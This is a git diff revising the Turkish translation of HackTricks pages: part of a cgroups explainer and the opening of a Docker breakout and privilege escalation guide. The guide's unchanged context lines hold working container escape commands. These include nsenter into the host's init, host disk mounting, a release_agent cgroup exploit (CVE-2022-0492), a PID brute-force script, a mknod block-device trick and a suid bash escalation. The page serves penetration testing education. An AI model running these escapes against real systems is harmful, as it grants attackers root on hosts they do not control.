endişesi varsa sürüm 1 hala belirli senaryolarda kullanılabilir. +Genel olarak, cgroups **versiyon 2, versiyon 1'den daha fazla özellik ve daha iyi performans** sunar, ancak eski sistemlerle uyumluluk endişesi varsa hala versiyon 1 kullanılabilir. -Herhangi bir sürecin v1 ve v2 cgroups'larını görmek için /proc/\ dizinindeki cgroup dosyasına bakarak listeleyebilirsiniz. Kendi kabuğunuzun cgroups'larını bu komutla görebilirsiniz: +Herhangi bir sürecin v1 ve v2 cgroups'larını görmek için /proc/\ dizinindeki cgroup dosyasına bakarak listeyebilirsiniz. Kabuğunuzun cgroups'larını görmek için bu komutu kullanarak başlayabilirsiniz: ```shell-session $ cat /proc/self/cgroup 12:rdma:/ @@ -39,29 +40,29 @@ $ cat /proc/self/cgroup 1:name=systemd:/user.slice/user-1000.slice/session-2.scope 0::/user.slice/user-1000.slice/session-2.scope ``` -* **Sayılar 2-12**: cgroups v1'i temsil eder, her bir satır farklı bir cgroup'u belirtir. Bu denetleyiciler yan yana belirtilir. -* **Sayı 1**: Ayrıca cgroups v1'i temsil eder, ancak yalnızca yönetim amaçları için (örneğin, systemd tarafından belirlenir) ve bir denetleyiciye sahip değildir. +* **Sayılar 2-12**: cgroups v1'i temsil eder, her satır farklı bir cgroup'u belirtir. Bu denetleyiciler sayıların yanında belirtilir. +* **Sayı 1**: Ayrıca cgroups v1'i temsil eder, ancak yalnızca yönetim amaçlıdır (örneğin, systemd tarafından belirlenir) ve bir denetleyici içermez. * **Sayı 0**: cgroups v2'yi temsil eder. Denetleyiciler listelenmez ve bu satır yalnızca cgroups v2 çalıştıran sistemlerde bulunur. -* **İsimler hiyerarşiktir**, dosya yollarını andırır ve farklı cgroup'lar arasındaki yapı ve ilişkiyi gösterir. +* **İsimler hiyerarşiktir**, dosya yollarını andırır ve farklı cgroup'lar arasındaki yapıyı ve ilişkiyi gösterir. * **/user.slice veya /system.slice** gibi isimler, cgroup'ların kategorizasyonunu belirtir; user.slice genellikle systemd tarafından yönetilen oturumlar için ve system.slice sistem hizmetleri için kullanılır. -### cgroup'ları Görüntüleme +### Cgroup'ları Görüntüleme -Dosya sistemi genellikle **cgroup'lere** erişmek için kullanılır ve geleneksel olarak çekirdek etkileşimleri için kullanılan Unix sistem çağrı arayüzünden ayrılır. Bir kabuğun cgroup yapılandırmasını incelemek için, bir kişinin **/proc/self/cgroup** dosyasına bakması gerekir, bu dosya kabuğun cgroup'unu ortaya çıkarır. Ardından, **/sys/fs/cgroup** (veya **`/sys/fs/cgroup/unified`**) dizinine giderek cgroup'un adını paylaşan bir dizini bulabilir ve cgroup'a ilişkin çeşitli ayarları ve kaynak kullanımı bilgilerini gözlemleyebilirsiniz. +Dosya sistemi genellikle **cgroup'lara** erişmek için kullanılır ve geleneksel olarak çekirdek etkileşimleri için kullanılan Unix sistem çağrı arayüzünden farklıdır. Bir kabuğun cgroup yapılandırmasını incelemek için, bir kişinin kabuğunun cgroup'unu ortaya koyan **/proc/self/cgroup** dosyasına bakılmalıdır. Ardından, **/sys/fs/cgroup** (veya **`/sys/fs/cgroup/unified`**) dizinine gidilerek, cgroup'un adını paylaşan bir dizin bulunarak, cgroup'a ilişkin çeşitli ayarları ve kaynak kullanımı bilgilerini gözlemlemek mümkündür. ![Cgroup Dosya Sistemi](<../../../.gitbook/assets/image (1128).png>) -cgroup'lar için ana arayüz dosyaları **cgroup** ile başlar. Standart komutlar gibi görüntülenebilen **cgroup.procs** dosyası, cgroup içindeki işlemleri listeler. Başka bir dosya olan **cgroup.threads**, iş parçacığı bilgilerini içerir. +Cgroup'lar için ana arayüz dosyaları **cgroup** ile başlar. Standart komutlar gibi görüntülenebilen **cgroup.procs** dosyası, cgroup içindeki işlemleri listeler. Başka bir dosya olan **cgroup.threads**, iş parçacığı bilgilerini içerir. ![Cgroup Procs](<../../../.gitbook/assets/image (281).png>) -Kabukları yöneten cgroup'lar genellikle bellek kullanımını ve işlem sayısını düzenleyen iki denetleyiciyi kapsar. Bir denetleyiciyle etkileşim kurmak için, denetleyicinin ön ekini taşıyan dosyalar incelenmelidir. Örneğin, **pids.current** ifadesi, cgroup içindeki iş parçacığı sayısını belirlemek için başvurulabilir. +Kabukları yöneten cgroup'lar genellikle bellek kullanımını ve işlem sayısını düzenleyen iki denetleyiciyi kapsar. Bir denetleyici ile etkileşime geçmek için, denetleyicinin ön ekini taşıyan dosyalar incelenmelidir. Örneğin, **pids.current** ifadesi, cgroup içindeki iş parçacığı sayısını belirlemek için başvurulabilir. ![Cgroup Bellek](<../../../.gitbook/assets/image (677).png>) -Bir değerde **max** ifadesi, cgroup için belirli bir sınırın olmadığını gösterir. Ancak, cgroup'ların hiyerarşik yapısı nedeniyle sınırlar dizin hiyerarşisinde daha düşük bir seviyede bir cgroup tarafından uygulanmış olabilir. +Bir değerde **max** belirtildiğinde, cgroup için belirli bir sınır olmadığını gösterir. Ancak, cgroup'ların hiyerarşik yapısı nedeniyle, sınırlar dizin hiyerarşisinde daha düşük bir seviyede bir cgroup tarafından uygulanmış olabilir. -### cgroup'ları Manipüle Etme ve Oluşturma +### Cgroup'ları Manipüle Etme ve Oluşturma İşlemler, **Process ID'lerini (PID) `cgroup.procs` dosyasına yazarak** cgroup'lara atanır. Bunun için kök ayrıcalıkları gereklidir. Örneğin, bir işlem eklemek için: ```bash @@ -71,20 +72,20 @@ Benzer şekilde, **bir PID sınırı belirlemek gibi cgroup özelliklerini deği ```bash echo 3000 > pids.max ``` -**Yeni cgroups oluşturma**, cgroup hiyerarşisi içinde yeni bir alt dizin oluşturmayı içerir, bu da çekirdeği gerekli arayüz dosyalarını otomatik olarak oluşturmaya zorlar. Etkin olmayan işlemi olmayan cgroups `rmdir` ile kaldırılabilir, ancak belirli kısıtlamalara dikkat edilmelidir: +**Yeni cgroups oluşturma**, cgroup hiyerarşisi içinde yeni bir alt dizin oluşturmayı içerir, bu da çekirdeği gerekli arayüz dosyalarını otomatik olarak oluşturmaya zorlar. Etkin olmayan işlem olmayan cgroups `rmdir` ile kaldırılabilir, ancak belirli kısıtlamalara dikkat edilmelidir: -* **İşlemler yalnızca yaprak cgroups içine yerleştirilebilir** (yani, hiyerarşide en içte olanlar). -* **Bir cgroup, ebeveyninde bulunmayan bir denetleyiciye sahip olamaz**. -* **Çocuk cgroups için denetleyiciler**, `cgroup.subtree_control` dosyasında açıkça belirtilmelidir. Örneğin, bir çocuk cgroup'ta CPU ve PID denetleyicilerini etkinleştirmek için: +- **İşlemler yalnızca yaprak cgroups içine yerleştirilebilir** (yani, hiyerarşide en içte olanlar). +- **Bir cgroup, ebeveyninde bulunmayan bir denetleyiciye sahip olamaz**. +- **Çocuk cgroups için denetleyiciler**, `cgroup.subtree_control` dosyasında açıkça belirtilmelidir. Örneğin, bir çocuk cgroup'ta CPU ve PID denetleyicilerini etkinleştirmek için: ```bash echo "+cpu +pids" > cgroup.subtree_control ``` -**Kök cgroup**, doğrudan işlem yerleşimi sağlayan bu kurallardan bir istisnadır. Bu, işlemleri systemd yönetiminden kaldırmak için kullanılabilir. +**Kök cgroup**, bu kurallardan bir istisnadır ve doğrudan işlem yerleştirme izni verir. Bu, işlemleri systemd yönetiminden kaldırmak için kullanılabilir. -Bir cgroup içinde **CPU kullanımını izlemek**, toplam CPU süresinin tüketildiği `cpu.stat` dosyası aracılığıyla mümkündür, hizmetin alt işlemleri arasındaki kullanımı takip etmek için faydalıdır: +Bir cgroup içinde **CPU kullanımını izlemek** mümkündür, toplam CPU süresini gösteren `cpu.stat` dosyası, bir hizmetin alt işlemleri arasındaki kullanımı takip etmek için faydalıdır: -

CPU kullanım istatistikleri, cpu.stat dosyasında gösterildiği gibi

+

cpu.stat dosyasında gösterilen CPU kullanım istatistikleri

## Referanslar -* **Kitap: How Linux Works, 3. Baskı: Her Süper Kullanıcının Bilmesi Gerekenler, Yazar: Brian Ward** +* **Kitap: How Linux Works, 3. Baskı: Her Süper Kullanıcının Bilmesi Gerekenler - Brian Ward** diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index 2f69987d0..a394361bc 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -1,23 +1,24 @@ # Docker Kaçışı / Ayrıcalık Yükseltme +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %}
\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} @@ -26,14 +27,14 @@ Bugün Erişim Alın: * [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Ayrıca **konteynerleri numaralandırabilir** * [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Bu araç, içinde bulunduğunuz konteyneri numaralandırmak için oldukça **yararlıdır ve hatta otomatik olarak kaçmaya çalışır** -* [**amicontained**](https://github.com/genuinetools/amicontained): Konteynerin sahip olduğu ayrıcalıkları almak için kullanışlı bir araç, bundan kaçış yollarını bulmak için +* [**amicontained**](https://github.com/genuinetools/amicontained): Kaçmak için yollar bulmak için konteynerin sahip olduğu ayrıcalıkları almanıza yardımcı olan faydalı bir araç * [**deepce**](https://github.com/stealthcopter/deepce): Konteynerlerden numaralandırmak ve kaçmak için araç * [**grype**](https://github.com/anchore/grype): Görüntüye yüklenen yazılımda bulunan CVE'leri alın ## Bağlanmış Docker Soketinden Kaçış -Eğer **bir şekilde docker soketinin** docker konteyneri içine bağlandığını bulursanız, bundan kaçabilirsiniz.\ -Bu genellikle, bir nedenle docker işlemlerini gerçekleştirmek için docker daemonına bağlanması gereken docker konteynerlerinde meydana gelir. +Eğer bir şekilde **docker soketinin** docker konteyneri içine bağlandığını bulursanız, bundan kaçabilirsiniz.\ +Bu genellikle, bir nedenle docker işlemlerini gerçekleştirmek için docker daemon'a bağlanması gereken docker konteynerlerinde meydana gelir. ```bash #Search the socket find / -name docker.sock 2>/dev/null @@ -54,10 +55,10 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` {% hint style="info" %} -Eğer **docker soketi beklenmedik bir konumdaysa**, yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresi ile kullanarak onunla iletişim kurabilirsiniz. +Eğer **docker soketi beklenmedik bir yerde** bulunuyorsa, yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresi ile kullanarak iletişim kurabilirsiniz. {% endhint %} -Docker daemon ayrıca bir portta da dinlenebilir (varsayılan olarak 2375, 2376) veya Systemd tabanlı sistemlerde Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir. +Docker daemon ayrıca bir portta da dinleyebilir (varsayılan olarak 2375, 2376) veya Systemd tabanlı sistemlerde Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir. {% hint style="info" %} Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma soketlerine dikkat edin: @@ -74,7 +75,7 @@ Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma soketlerine Konteynerin yeteneklerini kontrol etmelisiniz, eğer aşağıdaki yeteneklerden herhangi birine sahipse, ondan kaçabilirsiniz: **`CAP_SYS_ADMIN`**, **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** -Şu anda konteynerin yeteneklerini kontrol edebilirsiniz **daha önce bahsedilen otomatik araçlar** veya: +Şu anda konteyner yeteneklerini kontrol edebilirsiniz **daha önce bahsedilen otomatik araçlar** veya: ```bash capsh --print ``` @@ -98,31 +99,31 @@ Ayrıcalıklı bir konteyner, `--privileged` bayrağı eklenerek veya belirli sa * `--cgroupns=host` * `/dev` bağlama -`--privileged` bayrağı konteyner güvenliğini önemli ölçüde düşürür, **sınırsız cihaz erişimi** sunar ve **birçok korumayı atlar**. Detaylı bir açıklama için, `--privileged`'ın tam etkileri hakkındaki belgelendirmeye başvurun. +`--privileged` bayrağı, konteyner güvenliğini önemli ölçüde düşürür, **sınırsız cihaz erişimi** sunar ve **birçok korumayı atlar**. Detaylı bir açıklama için, `--privileged`'ın tam etkileri hakkındaki belgelendirmeye başvurun. {% content-ref url="../docker-privileged.md" %} [docker-privileged.md](../docker-privileged.md) {% endcontent-ref %} -### Ayrıcalıklı + hostPID +### Privileged + hostPID -Bu izinlerle, sadece şu komutu çalıştırarak (pid:1) gibi kök olarak çalışan bir işlem olan init'in ad alanına geçebilirsiniz: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` +Bu izinlerle sadece **kök olarak çalışan bir işlem alanına geçebilirsiniz** örneğin init (pid:1) gibi, sadece şunu çalıştırarak: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` -Bunu bir konteynerde test ederek çalıştırın: +Bunu bir konteynerde test ederek gerçekleştirin: ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` ### Ayrıcalıklı -Sadece ayrıcalıklı bayrağı ile **ana bilgisayarın diskinde erişmeyi** veya **release\_agent veya diğer kaçışları kötüye kullanmayı deneyebilirsiniz**. +Sadece ayrıcalıklı bayrağı ile **ana bilgisayarın diskinde erişmeyi** veya **release\_agent veya diğer kaçışları kötüye kullanarak kaçmayı** deneyebilirsiniz. -Aşağıdaki atlatmaları bir konteynerde çalıştırarak test edin: +Aşağıdaki atlamaları bir konteynerde test edin: ```bash docker run --rm -it --privileged ubuntu bash ``` #### Diski Bağlama - Poc1 -İyi yapılandırılmış docker konteynerleri **fdisk -l** gibi komutlara izin vermez. Ancak yanlış yapılandırılmış bir docker komutunda `--privileged` veya `--device=/dev/sda1` bayrağı belirtildiğinde, ana sürücüyü görmek için ayrıcalıklara sahip olmak mümkündür. +İyi yapılandırılmış docker konteynerleri **fdisk -l** gibi komutlara izin vermez. Ancak yanlış yapılandırılmış bir docker komutunda `--privileged` veya `--device=/dev/sda1` bayrağı büyük harflerle belirtildiğinde, ana sürücüyü görmek için ayrıcalıklara sahip olmak mümkündür. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) @@ -135,7 +136,7 @@ Ve işte! Artık ana bilgisayarın dosya sistemine `/mnt/hola` klasöründe bağ #### Disk Bağlama - Poc2 -Kapsayıcı içinde, bir saldırgan kümenin oluşturduğu yazılabilir hostPath birimine erişmeye çalışabilir ve bu yolla altta yatan ana bilgisayara erişmeye çalışabilir. Aşağıda, bu saldırgan vektörünü kullanarak kontrol edebileceğiniz yaygın bazı şeyler bulunmaktadır: +Kapsayıcı içinde, bir saldırgan kümenin oluşturduğu yazılabilir hostPath birimini kullanarak altta yatan ana bilgisayar işletim sistemine daha fazla erişim elde etmeye çalışabilir. Aşağıda, bu saldırgan vektörünü kullanarak kontrol edebileceğiniz yaygın bazı şeyler bulunmaktadır: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -156,9 +157,9 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` -#### Yetkilendirilmiş Kaçış Varolan release\_agent Kullanımı ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 +#### Ayrıcalıklı Kaçış Var Olan release\_agent Kullanımı ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 -{% code title="Başlangıç PoC" %} +{% code title="İlk PoC" %} ```bash # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -242,9 +243,9 @@ cat /output [docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md) {% endcontent-ref %} -#### Bilinen göreceli yol olmadan release\_agent'i kötüye kullanarak Yetkilendirilmiş Kaçış - PoC3 +#### Bilinen yol olmadan release\_agent'i kötüye kullanarak Yetkilendirilmiş Kaçış - PoC3 -Önceki saldırılarda **konumun mutlak yolu** açıklanmıştır. Bununla birlikte, bu her zaman geçerli değildir. **Ana bilgisayar içinde konteynerin mutlak yolunu bilmediğiniz durumlarda** bu tekniği kullanabilirsiniz: +Önceki saldırılarda **konumunun kesin yolu** açıklanmıştır. Bununla birlikte, her zaman böyle olmaz. **Ana bilgisayar içindeki konteynerin kesin yolunu bilmediğiniz durumlarda** bu tekniği kullanabilirsiniz: {% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} [release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md) @@ -308,7 +309,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` -Ayrıcalıklı bir konteyner içinde PoC'yi çalıştırmak benzer bir çıktı sağlamalıdır: +İçinde ayrıcalıklı bir konteynerde PoC'yi çalıştırmak benzer bir çıktı sağlamalıdır: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -338,8 +339,8 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ``` #### Ayrıcalıklı Kaçış Hassas Bağlantıları Kötüye Kullanma -Altta yatan ana bilgisayar hakkında bilgi veren **bazı dosyaların bağlanmış olabileceği** birkaç dosya bulunmaktadır. Bazıları, hatta **ana bilgisayar tarafından bir şeyler gerçekleştiğinde yürütülecek bir şeyi işaret edebilir** (bu da bir saldırganın konteynerden kaçmasına izin verebilir).\ -Bu dosyaların kötüye kullanımı şunlara neden olabilir: +Altta yatan ana bilgisayar hakkında bilgi veren **çeşitli dosyalar** bağlanabilir. Bazıları, hatta **ana bilgisayar tarafından bir şeyin gerçekleştiğinde yürütülmesi gerektiğini belirtebilir** (bu da bir saldırganın konteynerden kaçmasına izin verebilir).\ +Bu dosyaların kötüye kullanımı şunu mümkün kılar: * release\_agent (önceden ele alındı) * [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) @@ -347,7 +348,7 @@ Bu dosyaların kötüye kullanımı şunlara neden olabilir: * [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) * [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) -Ancak, bu sayfada kontrol etmek için **başka hassas dosyalar** bulabilirsiniz: +Ancak, bu sayfada kontrol etmek için **diğer hassas dosyaları** bulabilirsiniz: {% content-ref url="sensitive-mounts.md" %} [sensitive-mounts.md](sensitive-mounts.md) @@ -355,14 +356,14 @@ Ancak, bu sayfada kontrol etmek için **başka hassas dosyalar** bulabilirsiniz: ### Keyfi Bağlantılar -Birkaç durumda, **konteynerin ana bilgisayardan birim bağlandığını** göreceksiniz. Bu birim doğru şekilde yapılandırılmamışsa, **duyarlı verilere erişebilir/değiştirebilirsiniz**: Gizli bilgileri okuyun, ssh authorized\_keys dosyasını değiştirin... +Birkaç durumda, **konteynerin ana bilgisayardan birim bağlandığını** göreceksiniz. Bu birim doğru yapılandırılmamışsa, **duyarlı verilere erişebilir/değiştirebilirsiniz**: Gizli bilgileri okuyun, ssh authorized\_keys dosyasını değiştirin... ```bash docker run --rm -it -v /:/host ubuntu bash ``` -### 2 kabuk ve ana makine bağlantısı ile Yetki Yükseltme +### 2 kabuk ve ana bilgisayar bağlama ile ayrıcalık yükseltme -Eğer **ana makineden bağlanmış bir klasöre sahip bir konteyner içinde root erişiminiz** varsa ve **ana makinede ayrıcalıklı olmayan bir kullanıcı olarak kaçmayı başardıysanız** ve bağlanmış klasöre okuma erişiminiz varsa.\ -**Konteyner** içinde **bağlanmış klasöre** bir **bash suid dosyası** oluşturabilir ve **bu dosyayı ana makineden çalıştırarak** ayrıcalık yükseltebilirsiniz. +Eğer **ana bilgisayar tarafından bağlanmış bir klasöre sahip bir konteyner içinde root erişiminiz varsa** ve **ana bilgisayar üzerinde ayrıcalıklı olmayan bir kullanıcı olarak kaçmayı başardıysanız** ve bağlanmış klasöre okuma erişiminiz varsa.\ +**Konteyner** içinde **bağlanmış klasörde bir bash suid dosyası oluşturabilir** ve bunu **ana bilgisayar üzerinden çalıştırarak ayrıcalık yükseltebilirsiniz**. ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -372,10 +373,9 @@ bash -p #From non priv inside mounted folder ``` ### 2 kabuk ile Yetki Yükseltme -Eğer bir konteyner içinde **root erişiminiz** varsa ve **imtiyazsız bir kullanıcı olarak ana makineye kaçtıysanız**, konteyner içinde MKNOD yeteneğiniz varsa (varsayılan olarak vardır) ve [bu yazıda açıklandığı gibi](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/), her iki kabuğu da kötüye kullanarak ana makinede **yetki yükseltebilirsiniz**.\ -Bu yetenekle, konteyner içindeki root kullanıcısına **blok cihaz dosyaları oluşturma** izni verilir. Cihaz dosyaları, **altta yatan donanıma ve çekirdek modüllerine erişmek** için kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, **sistem diskindeki ham verileri okumaya** izin verir. +Eğer bir konteyner içinde **root erişiminiz** varsa ve **özneleşmiş bir kullanıcı olarak ana makineye kaçtıysanız**, konteyner içinde MKNOD yeteneğine sahipseniz (varsayılan olarak vardır) her iki kabuğu da kötüye kullanarak ana makinede **yetki yükseltebilirsiniz**. Bu yetenekle, konteyner içindeki root kullanıcısına **blok cihaz dosyaları oluşturma** izni verilir. Cihaz dosyaları, **altta yatan donanıma ve çekirdek modüllerine erişmek** için kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, **sistem diskindeki ham verileri okuma** izni verir. -Docker, konteynerler içinde blok cihazlarının yanlış kullanımına karşı koruma sağlar, blok cihazı okuma/yazma işlemlerini **engelleyen bir cgroup politikası uygular**. Bununla birlikte, bir blok cihazı **konteyner içinde oluşturulursa**, dışarıdan **/proc/PID/root/** dizini aracılığıyla erişilebilir hale gelir. Bu erişim, iç ve dış konteynerdeki **işlem sahibinin aynı olmasını** gerektirir. +Docker, konteynerler içinde blok cihazlarının yanlış kullanımına karşı koruma sağlar, blok cihazı okuma/yazma işlemlerini engelleyen bir cgroup politikasını **uygular**. Bununla birlikte, bir blok cihazı **konteyner içinde oluşturulursa**, dışarıdan **/proc/PID/root/** dizini aracılığıyla erişilebilir hale gelir. Bu erişim, iç ve dış konteynerdeki **işlem sahibinin aynı olmasını** gerektirir. Bu [**yazıda**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/) verilen **sömürü** örneği: ```bash @@ -440,35 +440,35 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp # You can open the secret filw with: cat /proc/635813/fd/4 ``` -Ayrıca **işlemleri sonlandırabilir ve bir Hizmet Reddi (DoS) saldırısına neden olabilirsiniz**. +Ayrıca **işlemleri sonlandırabilir ve Bir Hizmet Reddine (DoS) neden olabilirsiniz**. {% hint style="warning" %} -Eğer bir şekilde **konteyner dışındaki bir işlem üzerinde ayrıcalıklı erişiminiz varsa**, `nsenter --target --all` veya `nsenter --target --mount --net --pid --cgroup` gibi bir şey çalıştırabilir ve umarım hiçbiri olmayan aynı ns kısıtlamalarına sahip bir kabuk **çalıştırabilirsiniz.** +Eğer bir şekilde **konteyner dışındaki bir işlem üzerinde ayrıcalıklı erişiminiz varsa**, `nsenter --target --all` veya `nsenter --target --mount --net --pid --cgroup` gibi bir şey çalıştırabilir ve **umarım olmayan** aynı ns kısıtlamalarına sahip bir kabuk çalıştırabilirsiniz. {% endhint %} ### hostNetwork ``` docker run --rm -it --network=host ubuntu bash ``` -Eğer bir konteyner Docker [ana ağ sürücüsüyle yapılandırılmışsa (`--network=host`)](https://docs.docker.com/network/host/), o konteynerin ağ yığını Docker ana bilgisayarından izole edilmez (konteyner ana bilgisayarın ağ ad alanını paylaşır) ve konteynere ayrı bir IP adresi atanmaz. Başka bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Ayrıca konteyner, paylaşılan arayüz üzerinden gönderilen ve alınan **TÜM ağ trafiğini yakalayabilir `tcpdump -i eth0`**. +Eğer bir konteyner Docker [ana ağ sürücüsüyle yapılandırılmışsa (`--network=host`)](https://docs.docker.com/network/host/), o konteynerin ağ yığını Docker ana bilgisayarından izole edilmez (konteyner ana bilgisayarın ağ ad alanını paylaşır) ve konteynerin ayrılmış bir IP adresi tahsis edilmez. Başka bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Ayrıca konteyner, paylaşılan arayüz üzerinde ana bilgisayarın gönderdiği ve aldığı **TÜM ağ trafiğini yakalayabilir `tcpdump -i eth0`**. -Örneğin, bunu kullanarak ana bilgisayar ve meta veri örneği arasındaki trafiği **dinleyebilir ve hatta sahtecilik yapabilirsiniz**. +Örneğin, bunu kullanarak ana bilgisayar ve meta veri örneği arasındaki trafiği **dinleyebilir ve hatta sahtekarlık yapabilirsiniz**. Aşağıdaki örneklerde olduğu gibi: * [Açıklama: Google SRE ile nasıl iletişime geçilir: Bulut SQL'de bir kabuk bırakma](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) * [Meta veri servisi MITM, kök ayrıcalık yükseltmesine izin verir (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) -Ayrıca ana bilgisayar içinde **localhost'a bağlı ağ hizmetlerine erişebilecek** veya hatta **düğümün meta veri izinlerine erişebileceksiniz** (bu, bir konteynerin erişebileceğinden farklı olabilir). +Ayrıca ana bilgisayar içinde **localhost'a bağlı ağ hizmetlerine erişebilecek** veya hatta **düğümün meta veri izinlerine** erişebileceksiniz (bu, bir konteynerin erişebileceğinden farklı olabilir). ### hostIPC ```bash docker run --rm -it --ipc=host ubuntu bash ``` -`hostIPC=true` ile, ana bilgisayarın ara işlem iletişimi (IPC) kaynaklarına, örneğin `/dev/shm` içindeki **paylaşılan bellek** gibi, erişim elde edersiniz. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya kapsül işlemleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha ayrıntılı incelemek için `ipcs` komutunu kullanın. +`hostIPC=true` ile, ana bilgisayarın ara işlem iletişimi (IPC) kaynaklarına, örneğin `/dev/shm` içindeki **paylaşılan bellek** gibi, erişim elde edersiniz. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya kapsül süreçleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha ayrıntılı incelemek için `ipcs` komutunu kullanın. * **/dev/shm'yi İncele** - Bu paylaşılan bellek konumunda herhangi bir dosyayı arayın: `ls -la /dev/shm` -* **Mevcut IPC tesislerini İncele** - Herhangi bir IPC tesisinin kullanılıp kullanılmadığını `/usr/bin/ipcs` ile kontrol edebilirsiniz. Şunu kontrol edin: `ipcs -a` +* **Mevcut IPC tesislerini İncele** - Kullanılan herhangi bir IPC tesisinin olup olmadığını 